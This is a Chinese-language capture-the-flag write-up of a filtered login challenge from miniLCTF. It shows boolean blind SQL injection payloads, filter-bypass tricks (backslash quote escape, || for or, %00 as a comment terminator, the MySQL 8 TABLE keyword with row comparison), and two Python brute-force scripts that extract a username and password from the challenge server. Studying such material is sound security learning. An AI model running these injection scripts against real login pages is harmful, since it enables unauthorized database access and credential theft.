五一这几天打了miniLctf和angstromctf,不过实力实在太菜了,miniL的题目我只做出来了签到难度的include,趁现在比赛结束后环境还没关,来复现一下

图片.png

这个usernamepassword的过滤非常多,最后试了很久,发现登录后有successfail的回显,联想到了布尔盲注

这道题过滤的sql语句和关键词非常多,unionselect等等,很多都不能用了

注释里有sql执行的语句

mini_sql3.png

发现是字符串的形式,而且往后拼接语句的方法几乎是不可行的了,这个时候可以尝试使用\将username的第二个单引号给转义成普通字符,password可以输入命令语句,结合布尔盲注的一般做法,发现or关键字被过滤,使用||代替,有个比较坑的点是——出题人把比较常见的注释符--+#给过滤了,幸好还留下了一个%00(截断字符,也可写为\x00)来代替注释符,payload如下

1
2
username=123\
password=||ascii(right(left(`username`,1),1))>121;%00

爆破username字段值的时候出了个小问题

就是使用python脚本爆破和使用burpsuite爆破有一些实际情况上的区别

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

i = 0
flag = ''

while True:
i += 1
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
payload = '||ascii(right(left(`username`,{0}),1))>{1};%00'.format(i,tmp)
data1 ="username= 123\\&password={0}".format(payload)
#data2 = {
#'username':'123\\',
#'password':'password={0}'.format(payload)
#}
#使用data1格式传数据的时候可以传%00,但是data2就传不了%00了
#或者将%00改为\x00也可以
#估计和下面的application/x-www-form-urlencoded的content-type有关
head = {
'Cookie': 'PHPSESSID=db6ff72befb816c153644c4148acb2bd',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://150.158.37.61:10000',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36'
}
r = requests.post('http://47.93.215.154:10000/login.php', data=data,headers=head).text

if 'success' in r:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2

if (chr(tmp) == " "):
break
flag += chr(tmp)
print(flag)

所以以后再碰到这种情况的时候,可以考虑多种方法一个一个尝试,如果是用burpsuite爆破的话,建议使用intruder模块,不要像我一样,连intruder都不会用,比赛的时候还手动修改数据

通过上述的方法,我们很轻松的获得了username的字段值w3lc0me_t0_m1n1lct5

但是在使用相同的方法尝试爆破password字段值的时候,由于or在过滤的名单里面,所以直接回显了hacker,当时想着是出题人应该是把布尔盲注这个方法给锁死了(毕竟sleepbenchmark两个常见的延时函数给ban掉了)

而且还有一个比较坑爹的地方就是——在尝试使用堆叠注入(经测试,上述payload的password字段的分号后面是可以执行多条语句的,即为堆叠注入)的时候,无论堆叠部分的语句是否执行正确,都不会有所回显(除非包含了过滤字符触发了hacker的回显)很多方法都试过了,都没有效果,最后在这道题上面砸了好几天的时间也没有做出来

比赛结束后,我和认识的人交流了一下,我发现有个问题一开始就没有重视起来

那就是version()函数是可以用的,好家伙,我连mysql的版本都不知道,跟打盲盒似的,怎么可能就做出来呢

mini_sql2.jpg

好家伙,一查又是mysql8,mysql8的话……新的方法和特性相比于前几个旧版本多了很多

mini_sql1.jpg

刚才提到的那位师傅用了一个我没见过的方法来查询password,参考链接https://dev.mysql.com/doc/refman/8.0/en/table.html

利用mysql8新增的table关键字代替select关键字,两者的效果是类似的

1
2
table users  => select * from users
table users limit 1 => select * from users limit 1

从这点可以看出,以后碰到mysql8的题目就得多查点资料了(硬啃英文官方手册www

如果selectunionfrom这三个关键字都能用的话,是可以进行无列名注入的,但是在这题明显不能

有一个能够代替无列名注入的方法是使用mysql字符串和()与表的某一行进行比较(同时,使用该方法进行字符串比较的时候是可以接受hex的值的,即为不使用password字段,这样就不会触发检查机制了,尴尬,之前想着用hex编码绕过的,奈何原来的payload不支持这个……)

使用上述方法的例子若与表查询的结果相比较,则相比较的是表查询结果对应的字段值

大小的比较遵从ascii码和字符串的长度这两个规则,先从两个字符串的第一个字符进行ascii比较,第一个字符相同时,比较第二个,不同则按照ascii码的规则和><的条件返回01并停止比较,以此类推,当相对长度较短的字符串比较完最后一个字符之后,若此时比较还未出结果,则根据两个字符串的长度进行比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mysql> table mytest;
+--------------+----+
| name | id |
+--------------+----+
| thisthisthis | 2 |
| admin | 3 |
+--------------+----+
2 rows in set (0.00 sec)

mysql> select ('t',2)<(table mytest);
ERROR 1242 (21000): Subquery returns more than 1 row

### 注意在使用这种方法的时候,一般是与某个表的其中一列数据相互比较,所以不要忘记加上limit 1

mysql> select ('t',2)<(table mytest limit 1);
+--------------------------------+
| ('t',2)<(table mytest limit 1) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select ('t',2)>(table mytest limit 1);
+--------------------------------+
| ('t',2)>(table mytest limit 1) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select ('t',2)=(table mytest limit 1);
+--------------------------------+
| ('t',2)=(table mytest limit 1) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)

这题便可以利用这个方法来盲注爆破

利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0

在这道题当中,我们直接控制单一变量比较,payload如下(借用人家师傅的脚本,懒得自己写了2333)

将字段转化为hex的原因是因为'单引号被ban掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

dic = '_0123456789abcdefghijklmnopqrstuvwxyz' # 字典
url = "http://47.93.215.154:10000/login.php"

def str2hex(str):
result = '0x'
for i in str:
result += hex(ord(i))[2:] #从字符串数组的下标2(即为第三个字符)开始计算,避免'0x'字段的重复
return result

def boomSql():
result = ''
for i in range(1, 40):
for j in range(len(dic)):
# 爆第三个字段 password
# 以第一个字符c为例,当字典跑到b字符时,此时比较结果为fail(左边<右边),当字典跑到下一个字符c的时候,此时由于result+dic[j]字段的长度小于user,所以此时结果为fail(左边<右边),而下一个字符d的时候,则由于字段d大于password的第一个字符c,此时的结果为success(左边>右边)

# 结果:cd51c1005cab68be2f7e6112a4de3e88
# 因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母
# 最后字符为7 success
# 最后字符为8 success
# 最后字符为9 fail (此时左边=右边)
# 但是这仅限最后一个字段
# 所以正确结果是cd51c1005cab68be2f7e6112a4de3e89
payload2 = {"username": "1\\",
"password": f"||(1,0x77336c63306d655f74305f6d316e316c637435,{str2hex(result+dic[j])})<(table users limit 1);\x00"
}
#其中0x77336c63306d655f74305f6d316e316c637435是username字段值的hex值
#经测试username和password那一行的id列的数据为1
res = requests.post(url=url, data=payload2)
# print(res.text)
if "success" in res.text: #success代表上面的判断值为1(true),即为<
continue
elif "fail" in res.text: #fail代表上面的判断值为0(false),即为>或=
# 返回假时表示上一个字母即为正确结果
result += dic[j - 1]
break
print(result)
if __name__ == '__main__':
boomSql()

还是说明一个问题,mysql的版本还是得知道的,不然根本想不到利用新特性解题